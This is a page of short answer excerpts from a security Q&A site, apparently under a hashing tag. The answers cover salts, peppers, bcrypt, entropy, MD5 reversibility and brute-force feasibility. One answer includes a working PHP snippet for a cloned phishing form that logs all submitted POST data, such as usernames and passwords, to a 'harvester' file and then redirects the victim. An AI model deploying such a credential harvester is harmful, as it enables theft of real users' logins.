New answers tagged

0

Out in the wild we have a users table. A users table is usually ID | username | salt | encrypted_password | horridly_insecure_reset_key =========================================================================== 1 | user1 | foo | 09b6d39aa22fcb8698687e1af09a3af9 | NULL 2 | user2 | bar | 6c07c60f4b02c644ea1037575eb40005 | ...


2

As others have explained, 'bits of entropy' refers to to the guess-ability of the original Password or other text that was first used to create the SHA-256 hash. In your example case the entropy is unchanged. What you've done here is provide an SHA-1 version and an MD5 version of the SHA-256. This makes the SHA-256 more guessable than other solutions you ...


19

And it is longer than the input string, with 288bit instead of 256bit. So did we actually increased the entropy? No, you did not increase the entropy. In this context, "entropy" basically refers to the probability of any particular guess about the content or value being correct. If I tell you that I have hashed a single lowercase US English letter's ...


2

You are certainly not adding entropy. You still only will have at most 256bit entropy possible outputs of this schema, no matter how many times and how you rehash this. Note that you will have at most 256 bit entropy, because you did not told us about how much entropy is in your input. SHa256 will also not give you 256bit entropy if you have less than that ...


0

did you increase the entropy... most likely not. All you did is use 2 older hashing functions to get a new hash. since this has no new data, entropy is not affected. The amount of bits here makes no differences whatsoever (since its just 'another way o writing' the original hash.) Entropy (in cryptography) has to do with the amount of uncertainty a ...


1

The short answer is NO. NEVER EVER MAKE YOUR OWN HASHING ALGORITHM! Home cooking algorithms for hashing are never ever secure and therefore a very bad idea. It's also a bad idea to mix two algorithms together as it can make things even more insecure. There are many other algorithms out there that you could use. You can use Bcrypt, Scrypt, sha2, sha512 , ...


2

One of the biggest issues that you face is not the algorithms you choose, but how you implement using them. There are many good algorithms for various purposes, and virtually any of them, improperly applied, can result in a disastrously broken cryptosystem. This is one of the reasons people offer advice like "use libsodium" because libraries like ...


1

To answer the question you specifically asked...No, hashing the Int32 value to use as the salt is not significantly stronger than using the Int32 directly. It would, as you already suspect, be more obscurity than security. As Martin pointed out in his answer, the key property of a salt is that it be globally unique. You do not get this property with ...


1

What does salting give you? Attackers have pre-calculated databases of hash values for passwords, common and not. If they capture your database and have the hash of the passwords for every user, it's simple to check their hashes against those values without a salt. With a random salt that is stored along with the password, this insanely quick method is no ...


0

There seems to be some merit in the idea of not storing some controlled number of bits of the salt, which is independently configured and is independent of the salt size. Suppose we have 32 bit salts. We could choose to store only 22 bits, and brute-force through the remaining 10 when we authenticate. The effect of this is as if more rounds were added to ...


3

You could use the salt in this way. It would be a sort of hash-stretching process. Typically you stretch a hash by repeating the algorithm several thousand times, which slows attackers and users by 1000fold, but users typically don't mind the slowdown. Using a salt in this way would have the effect of doing a hash stretching algorithm by having to repeat ...


2

Rather than thinking of salt in terms of brute-forcing, I like to think of it in terms of saying that it makes it impossible to tell anything about a password, including its relationship with other passwords, by looking at it. If the system uses no salting, looking at two users' hashed passwords would indicate whether their real passwords matched. If a ...


117

A 'secret' salt is known as a pepper. From Wikipedia: A pepper can be added to a password in addition to a salt value. A pepper performs a similar role to a salt, however whereas a salt is commonly stored alongside the value being hashed, for something to be defined as a pepper, it should meet one of the following criteria that define it a more ...


19

Background: You should be using a Slow Password Hash. (i.e. bcrypt) By 'slow' I mean computationally expensive, taking more than 100ms (on your hardware) with DoS protection * to test a single password. This is to increase the processing power needed (on attacker hardware) to find the password by brute force, should the hash be stolen. Per-user unique salt ...


15

Your professor isn't correct. The point of a salt is to increase the entropy of the hashed passwords to prevent any sort of pre-computation attack on them as well as preventing the same password from different users from having the same hashed value. Being able to try all possible salt values means that you must have a very LOW amount of entropy in the ...


167

Not storing the salt is bad advice. The main purpose of a salt is that each user password has to be attacked individually. If you do not store the salt then, as you said, you need to try every single salt combination in order to validate the password. If you need to check every single salt combination, this means that the salt cannot be too long (you ...


5

If you're using a constant salt, then it's not bcrypt: An important requirement of any bcrypt implementation is that it exploit the full 128-bit salt space. — A Future-Adaptable Password Scheme Because bcrypt generates a different salt every time, the hash is always different meaning I can no longer use the generated hash to identify the user's ...


5

Disclaimar: Please note that this answer was written before more details were added to the question. Some points therefore no longer applies, while others still do. Problems with your approach [...] of the password they used to encrypt the data. Are you using passwords as encryption keys? That is not a good idea, since passwords picked by users have ...


2

You shouldn't use either! Using a constant salt defeats the purpose of using bcrypt. Use a variable salt! Just like SHA1, it's easily cracked. It's like asking - what's more secure, a wooden box or a thermite-proof triple-reinforced steel box with a wooden door? Excellent explanation by Tom Scott. IMHO your code is probably vulnerable to SQL injection ...


1

If you're using the option I'm thinking of, your cloned form is POSTing to post.php. You could edit that script in order to make it do what you want. <?php $file = 'harvester_sdfskksdks.txt'; file_put_contents($file, print_r($_POST, true), FILE_APPEND); ?> <meta http-equiv="refresh" content="0; url=http://0.0.0.0:8000/index.html" /> Instead ...


2

You do not need to process the DIT file to aquire hashes from AD or AD LDS, there is some protocol access as well. Even though a regular LDAP-reads on "userpassword" Attribute (as you can do on other directory products) will always be blocked completely in AD, there is another official way to read hashes from AD or AD LDS and its officially been there since ...


0

Yes, it absolutely makes sense to pick passwords longer than the hash output size. Why? Password hashing algorithms are designed to produce output that is computationally indistinguishable from uniform randomness. From the point of view of an attacker who steals your password database, the password tags look like random byte sequences, none more likely ...


7

Not really. Hashing algorithms and Key derivation functions (side note: bcrypt is a KDF, not hash) works on bytes, not characters. This means instead of working on Unicode, it sees instead the utf-8 encoded bytes (or whatever encoding you use). So the hash/KDF itself wouldn't have any problems processing Unicode passwords. However, Unicode had many ...


3

BCrypt won't work with a NUL byte because it is reserved for its own internal use (I think to keep track of the end of the password or something). Other than that what BCrypt really does is hash an array of bytes, not characters. From its point of view, its just blending up numbers and whether those numbers correlate to a presentable string in one character ...


2

No, it is not possible to reverse MD5. MD5 is just like adding the digits of a large number until you get a single digit. Example: 1982735 --> summing the digits will make 35, summing those will make 8. There is no way to determine the initial 1982735 only having the '8'. Of course, MD5 is complex enough to generate a lot of unique results, but the ...


2

MD5 is a cryptographic hashing function, which by definition means that it is only computed in one direction and it is not possible to "reverse" it back to its original form. In the case where two values are added or concatenated together and then hashed it would be impossible to derive the original factors -you can only obtain the full value of whatever was ...


1

Bruteforce would be your only option. MD5 has collision weakness, but it's not applicable here. And MD5 brute forcing is feasible too, because its not very computational intensive either, Billions per second. See: What are realistic rates for brute force hashing?


5

No, the method you have provided is considered to be security through obscurity or the belief that a system of any sort can be secure so long as nobody outside of its implementation group is allowed to find out anything about its internal mechanisms. and generally considered to be a bad idea.


0

From https://myotherpcisacloud.com/post/getmd4hash Function Get-MD4Hash { <# .SYNOPSIS This cmdlet returns the MD4 hash of the data that is input. WARNING: MD4 is not secure, so it should NEVER be used to protect sensitive data. This cmdlet is for research purposes only! .DESCRIPTION This cmdlet returns the MD4 hash of the data that is ...


3

Sufficiently long passwords generated by a secure random number generator hashed by an algorithm with long output (at least 128 bit) and no known weakness (at least SHA256) will become infeasible to bruteforce (either against a single hash or compute a useful rainbow table) and salting will not be necessary. Your description of your implementation doesn't ...


3

Such strong passwords can be safely stored unsalted with a fast algorithm like SHA256, there is no problem in that. The problems are different, you have to trust the client, the secure transportation to the server, and you have to make sure that the generated passwords are indeed unpredictable.


9

It's not MD5 (which is a message digest algorithm, not an encryption algorithm), and it's not even base 64. It's just ASCII encoded as hex. It contains http://imgur.com/EUJCsGB which is a link to an image of a bird. The image was uploaded by someone named MD5, that's as close as it gets.


0

A knows Sa B knows Sb Goal: Prove Sa == Sb Given a one-way function H with the following properties: H(x, y) = H(y, x) (Commutative) H(H(x, y), z) = H(x, H(y, z)) (Associative) C generates random k, l, m, n C shares k to A only and l to B only, then: A computes Saₖ = H(Sa, k) B computes Sbₗ = H(Sb, l) A shares Saₖ publicly ...


0

If Alice and Bob can talk to each other secretly, and are willing to collude, there is no way. Assuming we know that at least one of them has the file (lets say Alice), then any question that Bob could answer if he had the file, he could forward to Alice to answer - Bob would be a "man in the middle". In any case, if they were willing to collude, they ...


2

There are a couple of open source methods for creating sha512 hashes. There is a mkpassword libary as mentioned in this article for Linux: mkpasswd -m sha-512 -S saltsalt -s <<< YourPass Using Python and the crypt library as stated in another post: python -c 'import crypt; print crypt.crypt("test", "$6$random_salt")


1

MD5 is better than plaintext, but only marginally. If you use bcrypt with a salt, to find all records with email foo@example.com you would need to hash that email one time per record with that records unique salt. That would quickly get out of hand, and as you note in your question, not work. What you can do instead is to use a constant salt that is the ...


0

There are two things going on with my interpretation of this. You have an identifier, and a message, and a client may need to recall a message, but in order to do so, they'd need an identifier (replacement) to maintain their privact, something strong enough that it could not be guessed. E.g.: ORIGINAL MESSAGE FROM johndoe@somewhere.com MSG: This product is ...


1

Would a service be impacted if the system does not have any interaction with browsers? Not by the browser sha-1 deprecation. However, sha-1 is used and being deprecated on many other scenarios. Digital signatures, TLS communications in general (clients may start refusing it soon or already refusing it), authentication systems. It should be abandoned as ...


0

This was going to be a comment but it got too long,and it's actually an answer: you're probably going about this the wrong way. What possible use can an attacker have of brute-forcing the token? The only secret protected by the token is the time and the result of the rand() call. If you send these tokens by mail to the the requesting user and require him ...


2

As written, it is quite easy, because PHP will not expand variables inside single quotes. So '$time' is the five constant characters '$', 't', 'i', 'm', 'e', instead of a very long, increasing number. So this might have been a trick question, to lead someone to say "it's very difficult" when actually it is not. Supposing it was written md5("{$time}".rand(...


0

The salt has to be stored someplace that's easily accessible given a user ID. That means a database table. The hacker who can get the hashed passwords can get the salts in the same way, often using SQL injection. As others have already written, the salt stops precomputation attacks. There is an approach called a keyed hash in which the hash is generated ...


0

Others have clarified the purpose of Salt, which is to require a separate brute-force process per-user to crack, which would take much longer than a single brute-force process finding matches for every user at once. Salt is not needed to be secret, just unique. A good way to improve on this is to include Pepper, which is secret. Pepper is just some random ...


3

The purpose of salting is, that one cannot build a rainbow table to get several passwords at once. Without salting: An attacker could search the internet for precalculated rainbow-tables and find the passwords with no effort. With a constant salt: The attacker has to build one rainbow-table for this specific salt, and can then get all the passwords with ...


0

You answered your question, just did not saw it. why all people say on SO or Internet anyway that putting the salt in the database is good practice or safe The answer is: if I hack to a database (...) I will take the salt of the first record for example and make a dictionary of all hashes of all english words ( rainbow table ) and then I ...


2

Actually most implementations of algorithms like BCrypt will generate a salt on their own, from the random source of the operating system. This is the best one can do and there is no need to derrive a salt from other parameters. A salt should be globally unique for each password, so an attacker cannot find any precalculated rainbow-tables, and would have to ...



Top 50 recent answers are included